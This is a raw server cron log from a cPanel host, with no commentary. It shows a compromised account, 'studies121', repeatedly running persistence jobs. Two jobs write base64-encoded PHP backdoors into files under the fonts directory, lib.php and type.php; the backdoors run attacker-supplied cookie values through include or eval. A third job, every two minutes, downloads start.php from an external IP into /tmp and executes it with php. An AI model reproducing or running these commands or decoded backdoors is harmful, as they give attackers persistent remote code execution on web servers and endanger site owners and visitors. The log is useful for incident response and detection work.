Sep  3 04:09:01 ip-184-168-122-23 CROND[29512]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 04:09:01 ip-184-168-122-23 CROND[29513]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 04:09:01 ip-184-168-122-23 CROND[29514]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 04:09:01 ip-184-168-122-23 CROND[29516]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 04:09:01 ip-184-168-122-23 CROND[29517]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  3 04:10:01 ip-184-168-122-23 CROND[29626]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 04:10:01 ip-184-168-122-23 CROND[29629]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 04:10:01 ip-184-168-122-23 CROND[29630]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 04:10:01 ip-184-168-122-23 CROND[29631]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 04:10:01 ip-184-168-122-23 CROND[29634]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 04:10:01 ip-184-168-122-23 CROND[29637]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 04:10:01 ip-184-168-122-23 CROND[29635]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 04:10:01 ip-184-168-122-23 CROND[29638]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 04:11:01 ip-184-168-122-23 CROND[29771]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 04:11:01 ip-184-168-122-23 CROND[29772]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 04:11:01 ip-184-168-122-23 CROND[29773]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 04:11:01 ip-184-168-122-23 CROND[29774]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 04:12:01 ip-184-168-122-23 CROND[29873]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 04:12:01 ip-184-168-122-23 CROND[29875]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 04:12:01 ip-184-168-122-23 CROND[29876]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 04:12:01 ip-184-168-122-23 CROND[29877]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 04:12:01 ip-184-168-122-23 CROND[29878]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 04:13:01 ip-184-168-122-23 CROND[30060]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 04:13:01 ip-184-168-122-23 CROND[30061]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 04:13:01 ip-184-168-122-23 CROND[30063]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 04:13:01 ip-184-168-122-23 CROND[30062]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 04:14:01 ip-184-168-122-23 CROND[30176]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 04:14:01 ip-184-168-122-23 CROND[30178]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 04:14:01 ip-184-168-122-23 CROND[30180]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 04:14:01 ip-184-168-122-23 CROND[30182]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 04:14:01 ip-184-168-122-23 CROND[30183]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 04:15:01 ip-184-168-122-23 CROND[30286]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 04:15:01 ip-184-168-122-23 CROND[30289]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  3 04:15:01 ip-184-168-122-23 CROND[30288]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 04:15:01 ip-184-168-122-23 CROND[30294]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 04:15:01 ip-184-168-122-23 CROND[30295]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 04:15:01 ip-184-168-122-23 CROND[30296]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 04:15:01 ip-184-168-122-23 CROND[30293]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 04:16:01 ip-184-168-122-23 CROND[30393]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 04:16:01 ip-184-168-122-23 CROND[30395]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 04:16:01 ip-184-168-122-23 CROND[30398]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 04:16:01 ip-184-168-122-23 CROND[30399]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 04:16:01 ip-184-168-122-23 CROND[30397]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 04:16:01 ip-184-168-122-23 CROND[30396]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 04:17:01 ip-184-168-122-23 CROND[30525]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 04:17:01 ip-184-168-122-23 CROND[30526]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 04:17:01 ip-184-168-122-23 CROND[30527]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 04:17:01 ip-184-168-122-23 CROND[30528]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 04:18:01 ip-184-168-122-23 CROND[30647]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 04:18:01 ip-184-168-122-23 CROND[30650]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 04:18:01 ip-184-168-122-23 CROND[30649]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 04:18:01 ip-184-168-122-23 CROND[30648]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 04:18:01 ip-184-168-122-23 CROND[30652]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 04:19:01 ip-184-168-122-23 CROND[30789]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 04:19:01 ip-184-168-122-23 CROND[30791]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 04:19:01 ip-184-168-122-23 CROND[30792]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 04:19:01 ip-184-168-122-23 CROND[30793]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 04:20:01 ip-184-168-122-23 CROND[31003]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 04:20:01 ip-184-168-122-23 CROND[31004]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 04:20:01 ip-184-168-122-23 CROND[31007]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 04:20:01 ip-184-168-122-23 CROND[31009]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 04:20:01 ip-184-168-122-23 CROND[31010]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 04:20:01 ip-184-168-122-23 CROND[31013]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 04:20:01 ip-184-168-122-23 CROND[31011]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 04:20:01 ip-184-168-122-23 CROND[31012]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 04:20:01 ip-184-168-122-23 CROND[31008]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
